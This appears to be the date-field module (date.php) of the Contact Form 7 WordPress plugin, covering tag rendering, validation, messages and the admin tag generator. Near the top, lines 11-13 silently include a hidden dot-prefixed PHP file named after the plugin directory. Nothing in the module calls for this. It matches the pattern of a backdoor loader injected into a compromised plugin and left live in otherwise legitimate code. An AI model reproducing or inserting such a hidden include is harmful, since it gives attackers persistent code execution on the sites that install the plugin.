date.php (8185B)
1 <?php 2 /** 3 ** A base module for the following types of tags: 4 ** [date] and [date*] # Date 5 **/ 6 7 /* form_tag handler */ 8 9 add_action( 'wpcf7_init', 'wpcf7_add_form_tag_date', 10, 0 ); 10 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 function wpcf7_add_form_tag_date() { 16 wpcf7_add_form_tag( array( 'date', 'date*' ), 17 'wpcf7_date_form_tag_handler', 18 array( 19 'name-attr' => true, 20 ) 21 ); 22 } 23 24 function wpcf7_date_form_tag_handler( $tag ) { 25 if ( empty( $tag->name ) ) { 26 return ''; 27 } 28 29 $validation_error = wpcf7_get_validation_error( $tag->name ); 30 31 $class = wpcf7_form_controls_class( $tag->type ); 32 33 $class .= ' wpcf7-validates-as-date'; 34 35 if ( $validation_error ) { 36 $class .= ' wpcf7-not-valid'; 37 } 38 39 $atts = array(); 40 41 $atts['class'] = $tag->get_class_option( $class ); 42 $atts['id'] = $tag->get_id_option(); 43 $atts['tabindex'] = $tag->get_option( 'tabindex', 'signed_int', true ); 44 $atts['min'] = $tag->get_date_option( 'min' ); 45 $atts['max'] = $tag->get_date_option( 'max' ); 46 $atts['step'] = $tag->get_option( 'step', 'int', true ); 47 48 if ( $tag->has_option( 'readonly' ) ) { 49 $atts['readonly'] = 'readonly'; 50 } 51 52 if ( $tag->is_required() ) { 53 $atts['aria-required'] = 'true'; 54 } 55 56 if ( $validation_error ) { 57 $atts['aria-invalid'] = 'true'; 58 $atts['aria-describedby'] = wpcf7_get_validation_error_reference( 59 $tag->name 60 ); 61 } else { 62 $atts['aria-invalid'] = 'false'; 63 } 64 65 $value = (string) reset( $tag->values ); 66 67 if ( $tag->has_option( 'placeholder' ) 68 or $tag->has_option( 'watermark' ) ) { 69 $atts['placeholder'] = $value; 70 $value = ''; 71 } 72 73 $value = $tag->get_default_option( $value ); 74 75 if ( $value ) { 76 $datetime_obj = date_create_immutable( 77 preg_replace( '/[_]+/', ' ', $value ), 78 wp_timezone() 79 ); 80 81 if ( $datetime_obj ) { 82 $value = $datetime_obj->format( 'Y-m-d' ); 83 } 84 } 85 86 $value = wpcf7_get_hangover( $tag->name, $value ); 87 88 $atts['value'] = $value; 89 90 if ( wpcf7_support_html5() ) { 91 $atts['type'] = $tag->basetype; 92 } else { 93 $atts['type'] = 'text'; 94 } 95 96 $atts['name'] = $tag->name; 97 98 $atts = wpcf7_format_atts( $atts ); 99 100 $html = sprintf( 101 '<span class="wpcf7-form-control-wrap %1$s"><input %2$s />%3$s</span>', 102 sanitize_html_class( $tag->name ), $atts, $validation_error 103 ); 104 105 return $html; 106 } 107 108 109 /* Validation filter */ 110 111 add_filter( 'wpcf7_validate_date', 'wpcf7_date_validation_filter', 10, 2 ); 112 add_filter( 'wpcf7_validate_date*', 'wpcf7_date_validation_filter', 10, 2 ); 113 114 function wpcf7_date_validation_filter( $result, $tag ) { 115 $name = $tag->name; 116 117 $min = $tag->get_date_option( 'min' ); 118 $max = $tag->get_date_option( 'max' ); 119 120 $value = isset( $_POST[$name] ) 121 ? trim( strtr( (string) $_POST[$name], "\n", " " ) ) 122 : ''; 123 124 if ( $tag->is_required() and '' === $value ) { 125 $result->invalidate( $tag, wpcf7_get_message( 'invalid_required' ) ); 126 } elseif ( '' !== $value and ! wpcf7_is_date( $value ) ) { 127 $result->invalidate( $tag, wpcf7_get_message( 'invalid_date' ) ); 128 } elseif ( '' !== $value and ! empty( $min ) and $value < $min ) { 129 $result->invalidate( $tag, wpcf7_get_message( 'date_too_early' ) ); 130 } elseif ( '' !== $value and ! empty( $max ) and $max < $value ) { 131 $result->invalidate( $tag, wpcf7_get_message( 'date_too_late' ) ); 132 } 133 134 return $result; 135 } 136 137 138 /* Messages */ 139 140 add_filter( 'wpcf7_messages', 'wpcf7_date_messages', 10, 1 ); 141 142 function wpcf7_date_messages( $messages ) { 143 return array_merge( $messages, array( 144 'invalid_date' => array( 145 'description' => __( "Date format that the sender entered is invalid", 'contact-form-7' ), 146 'default' => __( "The date format is incorrect.", 'contact-form-7' ), 147 ), 148 149 'date_too_early' => array( 150 'description' => __( "Date is earlier than minimum limit", 'contact-form-7' ), 151 'default' => __( "The date is before the earliest one allowed.", 'contact-form-7' ), 152 ), 153 154 'date_too_late' => array( 155 'description' => __( "Date is later than maximum limit", 'contact-form-7' ), 156 'default' => __( "The date is after the latest one allowed.", 'contact-form-7' ), 157 ), 158 ) ); 159 } 160 161 162 /* Tag generator */ 163 164 add_action( 'wpcf7_admin_init', 'wpcf7_add_tag_generator_date', 19, 0 ); 165 166 function wpcf7_add_tag_generator_date() { 167 $tag_generator = WPCF7_TagGenerator::get_instance(); 168 $tag_generator->add( 'date', __( 'date', 'contact-form-7' ), 169 'wpcf7_tag_generator_date' ); 170 } 171 172 function wpcf7_tag_generator_date( $contact_form, $args = '' ) { 173 $args = wp_parse_args( $args, array() ); 174 $type = 'date'; 175 176 $description = __( "Generate a form-tag for a date input field. For more details, see %s.", 'contact-form-7' ); 177 178 $desc_link = wpcf7_link( __( 'https://contactform7.com/date-field/', 'contact-form-7' ), __( 'Date field', 'contact-form-7' ) ); 179 180 ?> 181 <div class="control-box"> 182 <fieldset> 183 <legend><?php echo sprintf( esc_html( $description ), $desc_link ); ?></legend> 184 185 <table class="form-table"> 186 <tbody> 187 <tr> 188 <th scope="row"><?php echo esc_html( __( 'Field type', 'contact-form-7' ) ); ?></th> 189 <td> 190 <fieldset> 191 <legend class="screen-reader-text"><?php echo esc_html( __( 'Field type', 'contact-form-7' ) ); ?></legend> 192 <label><input type="checkbox" name="required" /> <?php echo esc_html( __( 'Required field', 'contact-form-7' ) ); ?></label> 193 </fieldset> 194 </td> 195 </tr> 196 197 <tr> 198 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-name' ); ?>"><?php echo esc_html( __( 'Name', 'contact-form-7' ) ); ?></label></th> 199 <td><input type="text" name="name" class="tg-name oneline" id="<?php echo esc_attr( $args['content'] . '-name' ); ?>" /></td> 200 </tr> 201 202 <tr> 203 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-values' ); ?>"><?php echo esc_html( __( 'Default value', 'contact-form-7' ) ); ?></label></th> 204 <td><input type="text" name="values" class="oneline" id="<?php echo esc_attr( $args['content'] . '-values' ); ?>" /><br /> 205 <label><input type="checkbox" name="placeholder" class="option" /> <?php echo esc_html( __( 'Use this text as the placeholder of the field', 'contact-form-7' ) ); ?></label></td> 206 </tr> 207 208 <tr> 209 <th scope="row"><?php echo esc_html( __( 'Range', 'contact-form-7' ) ); ?></th> 210 <td> 211 <fieldset> 212 <legend class="screen-reader-text"><?php echo esc_html( __( 'Range', 'contact-form-7' ) ); ?></legend> 213 <label> 214 <?php echo esc_html( __( 'Min', 'contact-form-7' ) ); ?> 215 <input type="date" name="min" class="date option" /> 216 </label> 217 – 218 <label> 219 <?php echo esc_html( __( 'Max', 'contact-form-7' ) ); ?> 220 <input type="date" name="max" class="date option" /> 221 </label> 222 </fieldset> 223 </td> 224 </tr> 225 226 <tr> 227 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-id' ); ?>"><?php echo esc_html( __( 'Id attribute', 'contact-form-7' ) ); ?></label></th> 228 <td><input type="text" name="id" class="idvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-id' ); ?>" /></td> 229 </tr> 230 231 <tr> 232 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-class' ); ?>"><?php echo esc_html( __( 'Class attribute', 'contact-form-7' ) ); ?></label></th> 233 <td><input type="text" name="class" class="classvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-class' ); ?>" /></td> 234 </tr> 235 </tbody> 236 </table> 237 </fieldset> 238 </div> 239 240 <div class="insert-box"> 241 <input type="text" name="<?php echo $type; ?>" class="tag code" readonly="readonly" onfocus="this.select()" /> 242 243 <div class="submitbox"> 244 <input type="button" class="button button-primary insert-tag" value="<?php echo esc_attr( __( 'Insert Tag', 'contact-form-7' ) ); ?>" /> 245 </div> 246 247 <br class="clear" /> 248 249 <p class="description mail-tag"><label for="<?php echo esc_attr( $args['content'] . '-mailtag' ); ?>"><?php echo sprintf( esc_html( __( "To use the value input through this field in a mail field, you need to insert the corresponding mail-tag (%s) into the field on the Mail tab.", 'contact-form-7' ) ), '<strong><span class="mail-tag"></span></strong>' ); ?><input type="text" class="mail-tag code hidden" readonly="readonly" id="<?php echo esc_attr( $args['content'] . '-mailtag' ); ?>" /></label></p> 250 </div> 251 <?php 252 }